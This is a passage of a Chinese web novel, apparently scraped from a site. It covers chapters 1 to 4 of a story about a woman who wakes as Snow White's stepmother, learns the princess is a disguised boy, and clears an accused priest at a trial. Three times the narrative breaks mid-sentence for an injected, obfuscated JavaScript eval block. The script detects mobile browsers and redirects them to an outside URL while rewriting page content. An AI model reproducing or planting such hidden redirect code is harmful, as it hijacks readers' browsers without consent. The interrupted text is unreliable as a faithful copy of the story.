《恶毒继母在童话世界里封神》 1. 白雪王子（已修） 白钰睁开眼，发现自己在一座大火熊熊的壁炉前，窗外下着瓢泼大雪。她坐在一张略显浮夸华丽的维也纳咖啡椅上，穿着同样浮夸的黑金色刺绣长裙和貂皮大氅。 整个房间都是与她本人的穿着相衬的风格——中世纪欧洲贵族浮夸奢华风，这让从小生活在朴素环境中的白钰极不适应。 更让她不适应的是她眼前跪着一个衣着破败的少女。 少女看起来年龄有十一二岁，只穿着一件破布样的衬裙，瘦骨嶙峋，像一只被遗弃的流浪猫。她有着如乌木一般漆黑的长发，如雪花一样洁白的肌肤，如鲜血一般嫣红的伤痕。 她低着脑袋，头发散落在脸上。 她琥珀色的眼眸从发丝间露出，狠狠瞪着白钰看，就像是在看自己的杀父仇人。 白钰没想到自己会突然出现在这样古怪的地方，更没想到她会在这个瘦弱少女眼里看到如此熟悉的仇恨。心中悚然震动，仿佛是在看另一个自己。 这种惊讶让她想起来一件事情，她正作为家庭教师给幼龄女学生讲睡前故事，她从未想过自己会在这种情况下睡着。 她讲的故事，正是闻名中外的经典童话《白雪公主》。 她看着跪在眼前的如白雪般美丽的女孩，又看了看自己手里的皮鞭，一时间难以做出任何反应。 难道她是穿越了吗？ 她成为了《白雪公主》的故事里，虐待女主的大反派——白雪公主的恶毒继母。 恶毒继母嫉妒白雪的美貌，派武士杀害白雪不成，又用苹果毒害。最后，在七个小矮人的帮助下，美貌孱弱的公主被白马王子吻醒，和王子一起风光回国。而恶毒继母会在他们的婚礼上穿着被诅咒的铁鞋跳舞，直到失去所有力气后死亡。 在所有童话故事里，反派都不得好死。 白钰立即扔掉手里的皮鞭，赶紧把地上的白雪扶起来，斟酌语气说道： “我的宝贝女儿，地上凉，你可别冻着了。” 白雪对于恶毒继母突然改变的态度露出略显惊讶的表情，她扭身挣扎，咬了咬下唇说： “卡特琳娜！你这恶毒的巫婆又在耍什么阴招？” “宝贝女儿，打是亲骂是爱，你要知道妈妈是爱你的啊。”白钰毫不脸红地说出的这番话，甚至露出自以为慈祥和蔼的表情，“你现在年纪小，很多事情你都不懂，但永远不能否认父母对子女的爱。” 为了让白雪相信，已经成为恶毒继母卡特琳娜的白钰不顾白雪的挣扎，一下子把她抱进怀里。她不懂得继母该如何做，但她知道母亲的怀抱永远是最温暖的。这瘦弱的孩子饱受虐待，瘦成了皮包骨，抱在怀里都硌得慌，让白钰不禁想起了小时候的自己。 她曾经也是像白雪一样可怜的孩子，但却不得不成为如今这般可恶的大人。 “你，你，你这个恶毒的巫婆快放开我！” 白雪气得满脸通红，却因为瘦弱而没有足够的力气抵抗卡特琳娜的拥抱。 卡特琳娜皱起眉头，这孩子的胳膊瘦得跟竹签一样，肚子瘪瘪得可怜巴巴，大腿上也没有什么肉。大冬天只穿了这么一件单薄的衬衫，裙子还一扯就破了。 裙子。 卡特琳娜存好心，想将白雪又脏又破的裙子脱下来，把自己厚重温暖的大氅给她换上。她只是轻轻拉住白雪的裙摆，没想到那单薄的布料竟整片脱落下来。 白雪眼见着裙子被扯，猛地将恶毒的继母推开，羞愤地遮掩自己的身体。 卡特琳娜看着白雪与女孩完全不一样的身体构造，不由得愣住。 怎么可能？眼前的这个孩子根本不是女孩，而是男孩！白雪公主不是公主，而是王子？ 卡特琳娜处于震惊之中，眼见着白雪竟不知从哪里拿出一把剪刀。 他向卡特琳娜扑来，用剪刀的尖刃对准她的咽喉。 卡特琳娜反应不及，退后一步时被地上的皮鞭绊住，又由于白雪的猛扑而倒在地上。她伸手去抓旁边的柜子，却只抓到衬布，将柜子上的摆件带到地上，金属器皿撞击墙壁发出沉闷的声音。 白雪红了眼睛，也不顾自己的身体暴露在冬季寒冷的空气中，举起剪刀往卡特琳娜的脖颈刺去。 但毕竟是瘦小孱弱的孩子，卡特琳娜伸手一下子挡住他的进攻，握住了刺过来的剪刀，黑色丝绒手套被一下子割破，鲜红的血液渗出来，滴落在卡特琳娜的脸上。恶毒继母的血竟然是温暖的，卡特琳娜第一时间想的是这个。 屋子里的动静惊动了门外的人，眼看着房门将被推开。卡特琳娜已经察觉白雪的力气根本无法与她对抗，用力抢夺走剪刀，并翻身将他按倒，用自己的大氅遮住他的身体。 “啊！”女仆进门看到公主倒在地上，卡特琳娜手握带血的剪刀，“王后陛下！玛利亚公主……” 以她的视角来看，恶毒的王后不满足只是用皮鞭虐待公主，已经进展到用剪刀伤害了！她脸色惨白，不敢靠近，赶紧将房门关上，以免被路过的宫廷侍卫撞见。 白雪见有人进来，凄惨地瑟缩着，用大氅将自己的身体紧紧裹住，楚楚可怜，完全是被凌虐的可怜继女。 卡特琳娜站起身，也知道女仆在想什么，她低声念了白雪的名字： “玛利亚公主……” 这是很常见的女孩名，但玛利亚并不是女孩，而是货真价实的男孩。他为什么要男扮女装，有什么隐情吗？ 怎么会这样？这与原本的童话故事完全不一样。 这个事实让卡特琳娜内心疑惑，但不安的因子稍有减少，至少白雪公主不能嫁给白马王子，恶毒继母也就不至于死在他们的婚礼上。 也不一定，童话世界可是与她生活的现实世界有完全不同的认知，谁说公主一定是女人，谁说男人就不能嫁给王子？而且，他要杀死继母的决心可是卡特琳娜亲眼所见，刚刚若不是白雪力弱，卡特琳娜不会只是手掌受伤。 手心的疼痛让卡特琳娜皱起眉头，她看着屋子里对她无比畏惧的两个人，说： “找件衣服给他穿上，让他回去吧。” 女仆立即领着公主离开房间，似乎怕恶毒王后反悔。 “等一下。”卡特琳娜看着白雪单薄的背影，于心不忍，叫住了他们。 女仆的脚都颤抖了，担惊受怕地转过身来，低头不敢去看王后的脸。 “给公主多找点衣服穿，大冬天只穿单衣会受冻生病。”卡特琳娜提醒道。 在女仆微微愣住的时候，白雪也转过身来，瞪大了眼睛，语气里满是愤怒： “虚伪的巫婆！不用你假好心！” 卡特琳娜倒也理解。白雪的衣服没有一处好地方，破破烂烂补丁无数，脏兮兮的连旁边的女仆都比不过，想必是恶毒继母故意不给她好衣服穿。 卡特琳娜将手里带血的剪刀放下，微笑着解释道： “古话说女儿要富养，儿子要穷养。玛利亚你知道自己的情况，妈妈拿你当男孩养，才会让你多受点苦，这是为了锻炼你的身体，磨炼你的意志，陶冶你的情操，是为了你好！” 白雪听到她的话，整个人暴躁的气势让身上貂皮的毛都竖起来，像极了一只炸毛的流浪猫，他尖声指责： “恶毒的巫婆，我是真真正正正的公主，是范维西三世和安娜王后的女儿，是王室唯一的血脉！你鞭打我、折磨我，却胆敢说出这样的话？” 白雪对卡特琳娜积怨已久，他憋红了一张脸，无法掩饰对恶毒继母的憎恶和怨恨。 得，看来之前的卡特琳娜并没有发现白雪是王子的秘密？不然他怎么这样破防？卡特琳娜心里有了谱，对白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632547|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪的性格也有了一定的了解。 还是小孩子嘛。 卡特琳娜看着他那唇红齿白的模样，真的就如书中所写：一双皓月般的眼睛，一头丝缎般的长发，冰肌如雪，玉石剔透，脸上再多的倔强也难掩纯真无邪，眼里再多的愤恨也不饰绝色天仙。 这可是白雪公主啊！是在十八岁的时候会成为世界上最美丽的人。谁能想到这样的白雪会是一个真材实料的男孩子呢？ 如果她不是白雪的恶毒继母，她肯定也都迷糊在这等惊世美貌之下了。 …… 白雪走了之后，卡特琳娜看着自己所在的华丽宫殿，终于有了穿越的实感。穿越到哪里不好？她竟然穿越到童话里来？童话里都是恶有恶报，她卡特琳娜做过这么多坏事，肯定不得善终。 手心的伤还隐隐作痛，但卡特琳娜脱掉手套，发现伤口并不算深，也没有再流血。她让另一个女仆取了温水来，擦拭掉她身上的血迹。 “我累了，扶我回卧房吧。”卡特琳娜初来乍到，根本不知道王宫里的路怎么走。 女仆小小应声，佝偻着身体，颤抖着在前方带路。卡特琳娜略微尴尬，她没想到宫中的仆人对王后竟如何畏惧。她故作随意地问：“你叫什么名字？” “回陛下，我叫简妮。”简妮是一个普通的少女，甚至于说有点不好看，满脸雀斑，牙列不齐，弯腰驼背，让刚刚欣赏了白雪美貌的卡特琳娜备受冲击。 卡特琳娜是童话里最爱美最虚荣的女人，也许是她故意让身边人用丑陋来衬托她的美貌。 这一路上，卡特琳娜没有心思参观着奢华宫殿的绮丽，一门心思回忆着原版童话故事里的情节。 白雪公主的故事来源于格林童话，据说最早是德国人格林兄弟写的，但现今流传的版本已经改动过许多次。整个故事围绕着白雪公主和恶毒王后这两个角色进行，而对于白雪公主的亲生父母只是一笔带过。公主的母亲早逝，国王父亲娶了恶毒的继母王后…… 她刚刚听到白雪自己提起，他是范维西三世和安娜王后的女儿。 卡特琳娜一边走一边思考，觉得她穿越进来的这个故事情节脉络清晰，但信息量实在不足，她根本不知道这里究竟是一个什么样的世界。或者这只是她的黄粱一梦，时间一到她就能醒过来？ 简妮走在前面，打开了一间更加宽敞华丽的居室的大门，卡特琳娜没怎么仔细看，直冲冲便往里走。 “陛下！”简妮惊呼。 卡特琳娜撞上一个宽厚结实的后背，她脚下不稳略微踉跄，被一个冷酷俊美的贵族青年一胳膊拦住腰扶稳站住。 不，并不只是贵族，而是气质高贵的王室成员。卡特琳娜不由盯着青年英俊的面容看得呆住，她从来没见过这么好看的男人。 他身形高挑，穿着紧身的双排扣皮外套，丝绒荷叶花边衬衫打底，驼色的骑术马裤和长靴，肩头有落雪的湿润。金褐色的干练短发，发尾有些微卷，瞳孔是接近夜空的深邃幽蓝，五官高挺立体轮廓锋利，咋眼一看像是杜莎蜡像馆里的王子雕塑，但他的眼神里又有风霜岁月的痕迹。 显然是身份极为尊贵的人士，即使站在原地不动都散发着极强的威慑力。 “国王陛下，您怎么来了？”简妮惶恐万分，手足无措。 卡特琳娜震惊，她这才发觉眼前这个男人与白雪的眉眼之间有许多相似。他竟然是国王？白雪公主的父亲？他看起来如此年轻，完全不像是有一个十多岁大孩子的模样。 “国王……”卡特琳娜不由得念叨出声，仍处于不敢相信的状态。 男人的手臂稳健无比，他搂住卡特琳娜纤细的腰肢，表情冷淡，语气更是平缓得没有任何感情： “卡特琳娜，我说过很多次了。 “叫我里希。” 2. 国王里希（已修） 里希…… 卡特琳娜在心里默念了一遍这个名字，突然感觉到托住她腰肢的力量卸去。她惊讶地看向她名义上的丈夫，这个完全不像有着十多岁孩子的年轻国王，他原本冷淡的眼神里浮现出莫名的暗色。 她对这种暗藏怨恨的神情再熟悉不过了。 如果说白雪玛利亚对继母的恨是扬在头顶的旗帜，那国王里希对妻子的恨则是平静湖面下的暗涌。 卡特琳娜脚步不稳，身体往后仰倒，眼看着就要摔在地上。女仆简妮惊讶地捂住嘴巴，她站得离卡特琳娜不远，一步距离便可以阻拦悲剧的发生，但她却并没有任何上前来扶住王后的意思。 不行！肯定会很痛！能不能来个人拉她一把啊！ 卡特琳娜嘴巴张大，立即要叫出声。手心的疼痛提醒着她疼痛有多么讨厌，让她极度不想要狠摔在地。这本是可以避免的，但里希突然放手，让她不得不面对必然摔倒的结局。 可恶。卡特琳娜心有不甘，正当她对里希开始一丝怨恨的时候，一股黑色的雾气由她周身散出，将整个居室笼罩住。窗外零星飘落的雪花，突然停在半空。 时间定格，在卡特琳娜离摔在地上还剩三十厘米的距离时，一切停了下来。 怎么回事？果然，是在做梦吗？ 是了，怎么可能轻而易举穿越，肯定是在做梦。 “我尊贵的主人，卡特琳娜·范维西陛下。” 一个魔性的低沉的嗓音在卡特琳娜的耳边响起，同时她的脑海中浮现出这间居室地下室中的一面诡异镜子，这让她意识到这是那面镜子在对她说话。 这难道就是童话故事里的恶毒继母的魔镜？能知晓世界上所有事情的魔镜？ 镜面混沌一片，她完全看不清里面是什么，甚至无法由魔性的嗓音分辨出男女。 “是您在召唤我吗？” 召唤？她什么都没有做，怎么就召唤了？不过，既然她是在做梦的话，那肯定是没有什么逻辑的。她曾经看到过梦境控制理论，首先要意识到自己在做梦，然后通过暗示的方法控制自己的梦境。 她要不要试一试？ “对，是我在召唤你。”卡特琳娜在脑海中回答魔镜的问题。 “我尊贵的主人，您是有什么想要问吗？” 能回答世界上所有问题的魔镜。卡特琳娜没想太多，随意地问出口：“魔镜啊魔镜，谁是世界上最美丽的人？” 既然这是她做的关于《白雪公主》的梦，她作为恶毒王后，理所当然会对魔镜问出这个问题的对吧？ 在短暂的停顿之后，魔镜平静地回答道：“当然是您，我尊贵的主人，拜厄帝国凯特罗琳女王的独生女，曾经的卡特琳娜*布瑞尔*古奥斯公主，洛尔兰王国国王范维西三世海因里希*内华达*范维西的现任妻子，卡特琳娜*范维西王后。” 在卡特琳娜被这一长串名字绕晕的时候，魔镜镜面浮现出一个绝世美人的面貌。 一头红褐色的长卷发，盘作古典优雅的发髻，戴着珍珠宝石妆点的发饰；如璀璨夺目的翡翠般碧色的眼眸，如绚烂绮丽的玫瑰般殷红的双唇，如白玉雕塑般精致的五官和轮廓；她是世间最尊贵最美丽的存在，天上的星辰会因她闪耀的光芒而黯然失色，森林的花朵会因她芬芳的呼吸而羞愧凋谢。 她本以为刚刚见到的里希的美貌足以用“举世罕见”来形容，如今看到镜中自己的样貌才知道什么是“绝无仅有”。 十八岁后比她更美丽，成为世界上最美丽的人是白雪公主，真是太令人期待了。 魔镜回答完卡特琳娜的问题，笼罩整间居室的黑色雾气突然消散，被定格的时间再次流动。卡特琳娜心中一惊，果不其然地摔在地上，屁股和腰背，以及她本就有伤的右掌被撞得很痛。 她差点痛得哭出来，但旁边的国王和女仆完全没有要来扶她一下的意思。 她挣扎着艰难站起身，抬起右手，将黑色的手套脱下。手心的伤口竟然在短短的时间内已经愈合，现在只是边缘泛红，剧烈的疼痛提醒着她这可能不是一个梦。 “王后没事就好。”里希站在原地，冷不丁地说了一句，不像是安慰，更像是阴阳怪气的嘲讽。 这人刚刚还让她对他直呼其名，而自己却称她为“王后”。卡特琳娜立即意识到，这是一对同床异梦、貌合神离的夫妻。很好，她不太擅长假装跟人关系好。 他话音刚落，走廊传来铁靴踏步的声响。八个穿着铠甲的骑士陆续进入，吓得一旁的简妮退到墙角不敢吱声。 卡特琳娜也愣住了，疑惑地看向里希。 “我难得踏进王后的寝房，自然是有重要的事情来请王后出面。”里希眼神一凛，情态威严，配合两侧站立的铠甲骑士，让卡特琳娜终于有了自己在异世界的实感。 她终于意识到，从她面对白雪的时候，到她与简妮对话，再到她与魔镜的问答，他们的语言根本不是中文，而是某种她根本不了解的语言。但她却完全不需要翻译就能够理解，也能够表达。 这不是梦吧？她真的穿越到了童话世界里？ “……什么事情？”卡特琳娜情绪复杂，但她知道自己必须搞清楚这个所谓的恶毒王后究竟是什么人，她与里希国王和白雪公主的怪异关系中藏着什么样的隐情。 “有公民向警卫队举报伊桑神父深夜多次潜入王宫，勾引王后。现已将他捉拿至法庭接受审判，需要你作为证人出庭。”里希平静地说道。 神父……勾引……王后？ ？？？ 卡特琳娜不敢相信自己的耳朵，满头问号地看着国王里希淡然的表情。这个恶毒王后给国王戴了绿帽子，出轨神父？然后，国王现在要求她出庭作证，证明自己真的戴了绿帽子？ 两侧的骑士非常敬业，从表情上看不出任何情感波动，似乎这种事情的发生在他们看来稀疏平常。 老天爷！这是个什么世界啊？ “卡特琳娜，是神父伊桑自甘堕落意图勾引，你没有任何错。你必须出面指认他，让他为自己犯下的罪在审判之火中灰飞烟灭，而你还是洛尔兰的王后。” 卡特琳娜双脚发软，差点又要摔倒在地，这次海因里希上前扶住了她，没有再松开手。 他一手搂住妻子的腰，一手握住妻子的腕，在她耳边低沉道：“否则，你也将承受同等的罪罚。” · 法庭，在教堂前的广场。 卡特琳娜不信仰任何宗教，所以没想到童话世界里竟然存在宗教。巨大的有二十米高的石雕像，是一个装束质朴、表情威严的青年人，在底部的碑上刻着他的名字“卢*沙穆全知神之子传教者凝视者救世主”。 在雕像前方不远处耸立着一根稍矮些的火刑柱，底部堆叠着足够多的干草木柴，让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632548|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人能够马上想象出一点子小火星弥漫的焦糊和烟熏的气息。 柱子前聚集了许多国民，仅留出一片狭窄的圆形空地。在空地的中央，一个黑色长袍的男人被铁链锁住，跪在地上，低垂着头颅。 洛尔兰的冬季，寒风刺骨，常年阴霾。 这会儿雪竟然停了，乌云散去，展开惨白的天空。 在骑士团的护送下，海因里希携卡特琳娜步入了神教广场，围观的国民停下窃窃私语，目送他们的国王和王后走到罪人伊桑的面前。 这竟然就是法庭。 卡特琳娜还没有适应这个奇怪的童话世界，就要指认这个神父勾引她。她并不是真正的卡特琳娜，她没有卡特琳娜的任何记忆，让她莫须有地指认别人有罪，她做不到。 “伊桑*沙穆，你可认罪？”海因里希站到离伊桑四五米的距离处，语气冷酷地问道，“在全知神之子卢*沙穆的凝视下，你可承认你违背了教会的戒律，背叛了对王廷的忠诚，舍弃了自己的良心，引诱卡特琳娜·布瑞尔·范维西王后误入歧途，犯下不可原谅的重罪？” 他的问询一出，国民中哗然一片。骑士团不得不以靴塌地，遏制群众的讨论欲望。 “我没罪！”跪在地上的神父伊桑·沙穆终于抬起头来，大声呐喊道。他的声音足够洪亮，响彻广场，让每一个国民都清楚听到。 卡特琳娜这才看清楚这个“勾引”她的神父长什么样子。伊桑的年纪看上去不太大，最大也不会超过三十。他轮廓深邃，五官立体，一头棕色的卷发被他打理得服帖柔顺，即使是跪在火刑柱前仍能看出身形挺拔，即使比不过海因里希的英伟，却也是难得的俊俏人才。 寂寞王后卡特琳娜出轨俊俏神父伊桑，也不是那么不可想象的事情。但伊桑大声否认，完全不承认与王后的不伦恋情。 “王后。”海因里希似乎已经料到伊桑不会承认，他牵住卡特琳娜的手，做出温柔的情态问，示意她出面指认。 她根本就不是真正的卡特琳娜，她要怎么指认啊！ 海因里希见她犹豫不决，搂住她在她耳边以只有两人能听见的音量说：“我说过了，你不指认他，便只能同他一起受刑！” 那是火刑！卡特琳娜没见过，也是听过，与普通死刑的区别在于死得更加痛苦。 卡特琳娜立即痛苦面具了。 她犹犹豫豫，将手指向前面的伊桑，终于小小声说道：“是……是他……” “他做了什么？”海因里希放开搂住妻子的手，站开半米远，循循善诱问道，“他犯了什么死罪？” 卡特琳娜还没有想好说辞，便突然听到伊桑说：“既然国王认为我犯了死罪，就算我不认罪，也不可能活着离开洛尔兰。我有遗言，想要对王后陛下说。” 她看向伊桑，那个年轻的神父用渴求的眼神巴巴地看着她。难道卡特琳娜和伊桑真的有什么？她清了清嗓子：“你说吧。” “请陛下走近一点，我只想说给陛下听。”伊桑面露绝望，语气悲痛。 卡特琳娜看了眼里希，里希点头同意。 她在国民的注视下走近了神父伊桑。她俯下身，凑到了伊桑的前面，然后便听到了令她无比惊讶的威胁： “如果你指认我，我会当着所有洛尔兰国民的面说出你不是卡特琳娜·布瑞尔·古奥斯的真相。到时候，要死，我们就一起死！” 3. 神父伊桑（已修） 死。 这个字对白钰来说并不是很遥远的概念，她一直都是在刀尖上行走。她还有很重要的事情没有做，她却在给幼龄学生念睡前童话故事的时候坠入了这个古怪的异世界。 竟然不是梦吗？ 她脱下右手的手套，立即感觉到彻骨的寒冷让裸露的肌肤变得麻木，她掐了掐自己的手背，感受到了微弱的挤压性疼痛。这种痛与她被剪刀割伤和摔在地上的撞击痛不太一样，是能够预期的疼痛。 如果在梦里也能感觉到疼痛的话，她不认为能够精细到这种程度。 这不是梦。 如果不是梦的话，死了会不会真的就死了？ 她被男扮女装的继子怨恨，差点被剪刀刺死，难说他还会不会再刺杀；然后她被丈夫国王里希逼迫，不指认神父伊桑的罪行，她就要跟着去死；现在她又被伊桑逼迫，指认他的罪行的话，他便揭露她的虚假身份，她也不得不跟着去死。 进一步是死，退一步还是死。 她已经没有时间去推测伊桑怎么知道她不是真正的卡特琳娜这件事情，她必须率先解决眼前的危机。 面前的俊俏神父瞪大他满是红血丝的双眼，背后的无情国王让王后在全体国民面前揭露神父的罪行。 这…… 卡特琳娜觉得很冷，又把手套给戴了回去。她退回到国王里希身边，没有回避神父的眼神。她知道那是什么眼神，是“求生”，是“不甘愿”。 “王后，你已经准备好指认了吗？”里希问道。 这个童话世界果真跟儿戏一样吗？卡特琳娜点了点头，说：“我准备好了。” “请说出你的证词。” 卡特琳娜瞥了身边的里希一眼，平静地陈述道：“我与伊桑*沙穆没有任何私情，他无罪，我也无罪。” 此话一出，国民中又是一片哗然，在卫兵的整顿下安静。 海因里希皱起眉头，正准备发难。卡特琳娜以极低的声音在他耳边说道：“国王，我不指认他有罪，你就要我承担同样的罪罚，但你可想过，我不指认他的话，他如何有罪？我和他都没有罪，又何须承担罪罚？” 卡特琳娜完全能够理解，童话世界里的人智商不会很高，但犯这种逻辑错误也太低级了。 里希眼里闪过一丝错愕，但很快恢复平常，他向卫队长道：“将举报信念出来。” 卫队长立即将一封信从怀中掏出，小心翼翼地展开后准备念诵。 “举报信的内容是真是假，让举报人亲自出来对峙如何？”卡特琳娜站出来，打断了他。 “……是，是匿名举报信。”卫队长回答说。 “匿名，连姓名都不愿意公开，岂不是根本分辨不出真假。举报神父与我有私，是他看到了，他听到了，还是他想象的，怎么说都可以。”卡特琳娜往前一步，坦然地面对国民。 随后她侧头看向里希，笑了一下。世界上最美丽的女人的微笑，饶是海因里希，也不由得心头一震，更何况是围观群众。 国民们们痴痴地看着他们美丽的王后挪不开眼睛，听着她大声说道：“那我还收到过一封匿名信，说国王海因里希和神父伊桑私通，现在他们情感破裂，国王要置神父于死地，难道这也是真的？” 哗然四起，这次有点压不下去了。 里希一惊，抓住卡特琳娜的手腕，语气愤怒：“王后你在说什么胡话？！什么匿名信？” “我在说我收到过的匿名信，我根本不相信，所以当场焚毁了。”卡特琳娜甩开里希的手，走到卫队长的身前，趁他呆滞将信抢夺过来。 上面的文字有点类似字母却又不是字母，是某种晦涩的形态性语言。卡特琳娜能够看懂这种她从没有接触过的语言，这是为什么呢？是这个身体主人自带的能力吗？但她并没有任何关于这个世界常识的记忆，不知道自己是谁，不知道身在何处。 “神父伊桑多次深夜进入王后寝宫，直至次日晨时返回，与王后定有私情……”卡特琳娜将其中的关键句子小声念了出来。 这是在开玩笑吗？仅仅是这种程度的举报，就想要坐实她与神父偷情的罪名，过家家都比这要严谨得多。怪不得里希要由她亲自来指证伊桑，不然很难说明他真的有罪。 她看向英俊的国王海因里希，就像是在看一个傻瓜。 果然，童话里的国王都是最傻的那一种人，不知道自己可怜的女儿被恶毒继母毒害，也不知道自己的王位被邪恶巫婆觊觎，甚至分分钟在森林里邂逅一个美女一见钟情，然后娶她为妻过上幸福美满的生活。 国王海因里希·范维西理所当然跟其他国王一样，也是一个傻瓜，是主角happyending的最佳工具人。 “卡特琳娜！你知道你在做什么吗？”他愤怒了，想从卡特琳娜手中抢回举报信。 她身手敏捷，轻松避开了里希的抢夺。 “把举报信拿回来！”里希不得不向卫队下命令。 卫队长这才反应过来，却步伐犹豫，并不能果断勇敢地靠近王后。 卡特琳娜皱起眉头，虽然这封举报信所写的内容根本构不成确凿的证据，但在这种古怪的世界里，却很可能是一个不得不毁灭的隐患。 她忍着寒风，再次脱下手套，用手指捏了捏纸张。 这显然不是东方传统工艺制作的纸，但她知道古代的纸张无非是植物纤维制成。怎么毁灭证据？像电视剧里演的那样吞下去？ 但如果这里是中世纪欧洲背景，那墨水很可能是鞣酸和硫酸亚铁的混合溶液，具有极强的腐蚀性，她直接吞下去存在很大的中毒风险。 卡特琳娜觉得这种风险还是不要让她来冒了。 她将举报信揉成一团，扔到了跪在火刑柱前的伊桑神父脚边，还不等她说话提示，伊桑便俯身将纸团用嘴衔住，一口吞进了肚子里。 此等默契，让卡特琳娜略微愣住。 所有人都目不转睛地看着这一幕，仿佛是在看一出精彩的舞台剧。 “全知神在上，我伊桑*沙穆，没有罪！”神父的呐喊响彻洛尔兰的寒冬，也震撼住了舞台中心的卡特琳娜。 她眼前闪过一些破碎的无法分辨的画面，让她有种似曾经历过的感觉。 “住嘴！”比神父更强烈的喊声响起。 卡特琳娜回头，发现来源竟是海因里希。他遏制住自己的愤怒，将腰间的宝剑拔出，用力将其插入了地面，使其垂直立着。他说：“既然举报信无法证明你的罪，王后不愿指认你的罪，那将由神来审判你的罪！ “今日，你可免于火刑，但明日，你将接受冰雪的审判！” “不！”伊桑怒视着里希，咬牙喊道，“我是天神的信徒，我只接受天神的审判！你无权让冰雪来审判我！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632549|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛尔兰是冰雪的国度，你自然应该由冰雪来审判，带走！”里希不愿与他多言，落下话后便转身离开，留下了立在地面上的宝剑。 卡特琳娜看着那柄长剑反射的光芒，不禁有些目眩。 这是一柄看似寻常的长剑，剑身从剑柄到剑端由宽变窄，剑尖仅仅没入地面微末，不超过一毫米，竟然能让整支剑稳稳立着，没有丝毫的偏转。剑柄没有任何装饰，仅仅裹了一层黑色的皮革，远远看过去像是一个悬浮着的十字架。 这不可能是真实力学能够达到的效果，是魔法。 果然是童话世界吗？ 卫兵驱散围观的国民，将神父伊桑拖去不知道哪里。卫队长来到卡特琳娜身边，小心翼翼地提醒道：“王后陛下，您……” “明日审判，是什么时候？”卡特琳娜询问道，她有一股强烈的危险预感，如果冰雪能够审判伊桑*沙穆，那同样也能够审判她。 卫队长略有疑惑地看向她，回答道：“……当冰雪降临的时候。” 冰雪降临？ 卡特琳娜抬头看了看天空，惨白一片，这要怎么知道会不会下雪？ …… 卡特琳娜回到自己的寝宫，驱散了女仆和侍从，从内到外翻了个遍，却没能找到地下室的入口。早些时候在她摔倒之前，她分明看见了才对……地下室里有着那面能够回答世界上一切问题的魔镜。 到底在哪里？ 现在天色渐晚，房间内已经提前点上了烛火，摇曳的光芒让卡特琳娜的视线模糊，她意识到没有电灯的世界原来如此昏暗。 她找来找去，仅仅是发现了梳妆台上的一面用蕾丝遮布掩盖的巨大方型铜镜。卡特琳娜手持烛灯，坐在了镜子前面，掀开遮布，被镜子映照的画面吓了一跳。 铜镜不比玻璃镜面，照出的人影极不清晰，甚至连世界上最美丽的人都呈现出变形和扭曲的模样。她稳了稳心神，仔细看着镜子，啧了一声，原本的卡特琳娜竟然是对着这样一面镜子梳妆的吗？ 她不知道自己为什么会取而代之，不免心中恼火至极。她能感觉到海因里希对神父伊桑的杀意，如果她的虚假身份被揭穿，海因里希也会杀了她吗？ 壁炉里已经烧起了炭，卡特琳娜的心底却升起难以阻挡的寒意。她举起手中的烛火，想要往镜子砸去，如果烧毁了这一切，她能不能回到现实？ “我尊贵的主人，卡特琳娜·范维西陛下。” 在她即将落下手之前，魔镜的声音响起了。这一次，她脑海中不仅浮现出那个地下室，她还拿着烛火在其中行走。 地下室里无比黑暗，她看不到边界。这里没有墙壁，也没有地面。但她心里清楚地知晓，这是一间地下室。一面发出微弱银光的镜子在她身前。之前她无心仔细观察，这时候才发现魔镜竟然是一面不足她手掌大小的镜子。 椭圆形的镜子悬浮在黑暗之中，甚至没有边框，比夜市地摊上卖的还要简陋。 “是您在召唤我吗？” 之前卡特琳娜以为是梦境，提了一个无关紧要的问题，如今她不敢肯定自己是不是在做梦，没有轻易再说什么。 她伸出手，想要触摸眼前的镜子，却发现手指穿过去了。 “为什么叫我卡特琳娜·范维西？我的全名不应该是卡特琳娜·布瑞尔·范维西吗？”她面无表情地将手垂下来，平静地对魔镜问道。 4. 宫廷菜肴（已修） 西方人取名是名在前，姓在后，偶尔会在中间穿插几个名字作为中间名。 卡特琳娜认为这属于常识性问题了，父母给孩子取的中间名大部分具有纪念意义的，比如纪念伟大的名人或自己的祖先。此外，中间名也是区分同名同姓的办法之一，所以在念出全名的场合时，是不能够省略中间名的。 卡特琳娜这个名字应该很常见，即使成为范维西三世王后的卡特琳娜只有她一个，魔镜也不应该省略她的中间名才对。 在回答她是否是世界上最美丽的人的时候，魔镜念出了包含中间名在内的她以前的全名“卡特琳娜*布瑞尔*古奥斯”，而魔镜在称呼主人的时候，却只是称她为“卡特琳娜*范维西陛下”。 “嘿嘿。” 魔镜低沉地笑了两声，还是令卡特琳娜分辨不出它的性别，也许魔镜本没有性别。 